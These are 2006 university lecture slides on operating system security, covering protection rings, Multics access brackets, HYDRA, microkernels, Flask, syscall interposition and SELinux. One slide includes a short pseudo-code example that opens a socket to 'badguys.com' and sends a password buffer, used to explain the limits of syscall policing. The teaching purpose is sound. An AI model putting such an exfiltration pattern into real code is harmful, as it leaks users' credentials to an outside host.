CSE 543 - Computer Security
(Fall 2006)

Lecture 13 - OS Security
October 17, 2006
URL: http://www.cse.psu.edu/~tjaeger/cse543-f06/
An Aside

- Fine vs. course grained access control

  - A fined grained access control system separates rights down to the individual operations that you want to perform on the objects
  - E.g., read, write, execute, delete, modify

  - Course grained systems have not such controls, they simply control “access”
    - i.e., you can do anything OR
    - i.e., the system restricts the set of actions anybody can take (e.g., read-only filesystem)

- There are good trade-offs between these different approaches, and the “best” is really an engineering decision.
Rings of Protection

- Systems defined by hierarchy of privilege levels

- Early Attempts
  - THE (Dijkstra)
    - Completely Hierarchical Approach

- Major Effort: Multics
  - Multiprocessing system -- developed many OS concepts
    - Including security
  - Begun in 1965 and used until 2000
  - Initial partners: MIT, Bell Labs, GE/Honeywell

- First system to achieve B2 rating
Protection Rings

• Successively less-privileged “domains”

• Example: Multics (64 rings in theory, 8 in practice)

• Most CPUs support 2 rings
  – Kernel and user

• Intel x86 has 4 rings
  – Ring 0 has kernel
  – Ring 3 has application code
What Are Protection Rings?

- Coarse-grained, Hardware Protection Mechanism
- Boundary between Levels of Authority
  - Most privileged -- ring 0
  - Monotonically less privileged above
- Fundamental Purpose
  - Limit access to “privileged hardware instructions”
    - To operating system
- Q: What are some examples?
- What about other levels?
  - Q: Others semantically meaningful?
Intel Protection Ring Rules

• Each Memory Segment has a privilege level (ring number)

• The CPU has a Current Protection Level (CPL)
  – Level of the segment where instructions are being read

• Program can read/write in segments of lower level than CPL
  – kernel can read/write user space
  – user cannot read/write kernel
    • why?
Intel Protection Ring Rules

- Program cannot call code of *higher privilege* directly
  - Gate is a special memory address where lower-privilege code can call higher
    - Enables OS to control where applications call it (system calls)

- Program cannot call code of *lower privilege* directly
  - Gate does not support high to low calls
Multics Interpretation

- Kernel resides in ring 0
- Process runs in a ring r
  - Access based on current ring
- Process crosses rings (calls a “gate”)
  - Trap to kernel
  - “Gatekeeper” authorizes access and checks arguments
- Process accesses data (segment)
  - Each data segment has an access bracket: (a1, a2)
    - a1 <= a2
  - Describes read and write access
    - r is the current ring
    - r <= a1: access permitted
    - a1 < r <= a2: r and x permitted; w denied
    - a2 < r: all access denied
Multics Interpretation (con’t)

• Also different procedure segments
  – with *call brackets*: \((c_1, c_2)\)
    • \(c_1 \leq c_2\)
  – and access brackets \((a_1, a_2)\)
  – Rights to execute code in a new procedure segment
    • \(r < a_1\): access permitted with ring-crossing fault
    • \(a_1 \leq r \leq a_2 = c_1\): access permitted and no fault
    • \(a_2 < r \leq c_2\): access permitted through a valid gate
    • \(c_2 < r\): access denied

• What’s it mean?
  – case 1: ring-crossing fault changes procedure’s ring
    • increases from \(r\) to \(a_1\)
  – case 2: keep same ring number
  – case 3: gate checks args, decreases ring number
Examples

- Process in ring 3 accesses data segment
  - access bracket: (2, 4)
  - What operations can be performed?

- Process in ring 5 accesses same data segment
  - What operations can be performed?

- Process in ring 5 accesses procedure segment
  - access bracket (2,4)
  - call bracket (4, 6)
  - Can call be made?
  - Can new procedure segment access the data segment above?
Ring Protection Challenges

• Are more than two rings necessary?
  – Supervisor/user

• Trusted Computing Base size
  – Throw everything in supervisor
  – Formal assurance more difficult

• All supervisor code runs with same privilege
  – Is this really necessary?

• Q: What are the alternatives?
System Security Architectures

• What should be the granularity of memory protection?

• What objects can define memory protection granularity?
Procedure-Level Protection Domains

- **HYDRA**
  - Each procedure defines a new protection domain

- **Procedure**
  - Code
  - Data
  - Capabilities to other objects
    - Caller-independent
    - Caller-dependent templates

- **Local Name Space**
  - Capabilities are bound here
  - Record of a procedure invocation (procedure instance)

- **Process**
  - Stack of LNSs

- **Q:** Which object defines the protection domain?
How HYDRA works

- Change the principal on every function call

```
Caller LNS
  Caller-Dep Capabilities
  Caller Proc
    Template
    Capabilities
    Data

Callee LNS
  Caller-Dep Capabilities
  Callee Proc
    Template
    Capabilities
    Data

Kernel
```

Call Callee + Capabilities

Create Callee LNS
Implications of Fine-Grained Protection

- **Hardware**
  - Q: how do we restrict LNSs to just itself capabilities?

- **Programmer**
  - Must define templates for procedure
  - Connect the procedure rights together

- **Performance Impact**

- Q: Do we need to manage rights at this level?
Microkernel Systems

- Granularity of Protection: Object Servers
• What is a micro-kernel?
  • Traditional operating systems were monolithic (e.g., UNIX, Windows, etc.)
    • They do everything inside the kernel, which is often huge
  • A micro-kernel is a style of operating system that implements are the basic OS functions in different modules
    • The services communicate via message passing
    • This has the advantage that the servers can crash without taking out the OS, and they can be restarted
    • Service designs can evolve independently
  • The chief argument against it is that performance is often a problem, but ....
    • OS-X now does it rather well ... thank you Moore’s law
A “secure operating system”

- Purpose: to flexibly implement policy
- A nice survey of techniques to implement OS security, particularly as it applies to the management and enforcement of security policy

Policy considerations

- Revocation -- how do you deal with it
- Multi-faceted input -- many predicates to evaluation of policy
- Sensitivity to history and environment -- context!
- Transitivity of access decisions -- when are these decisions transitive, when not

Q: what is the main argument here?
The flask architecture …

- Object managers enforce policy, security servers make decisions about policy

- Clients are programs that are using the OS
Another approach to implement policy …

• Syscall interposition
  • Argument: all harm comes to system through system calls. Hence, if you regulate their use, you can implement policy.

user space | kernel space

For int = 0; i< 10; i++; {
  z += i;
  y = y/k;
  print “z y\n”;
  z = 0;
}

• Systrace: system for obtaining traces of system calls and ultimately defining a policy (ACLs, more or less).

• Bluebox: does largely the same thing, but allows you to define more abstract policy.
• You have to expose all the semantics in the single enforcement layer

• For example, think about the execv() system call

• “/bin/echo” parameter leads to very different behavior than “/bin/sh” \(\rightarrow\) this is what buffer-overflow attacks exploit

• You often need to duplicate a lot of state in enforcing some reasonable policies. Consider

```
int sock = connect( "badguys.com" );
...
send( sock, &yourpasswordbuffer );
```

• Little you can do to unless you keep track of relationship between sock and “badguys.com”
Linux Security Modules Framework

- Traditional Reference Monitor in Linux

![Diagram showing the Linux Security Modules Framework with entry points, access hooks, security-sensitive operations, and monitor policy decision process.](image)
Selinux

- SELinux is the NSA “open source” version of the flask operating system.

- Implemented as a Linux Security Module (LSM)
  - LSM provides hooks into low level operations (e.g. inode permission)
  - Uses defined security policy to determine if the Subject (process) can act upon the Target (e.g., inode)

- Objects are labeled with the 3-tuple (User:Role:Type)
  
  ```
  % getfattr -n security.selinux /etc/shadow
  security.selinux="system_u:object_r:shadow_t\000"
  ```

- A good implementation of security, but not provably secure
  - Really implements lots of good techniques, but nobody knows if the sum total is actually secure

- Expect to see more of these kinds of clean policy interfaces in operating systems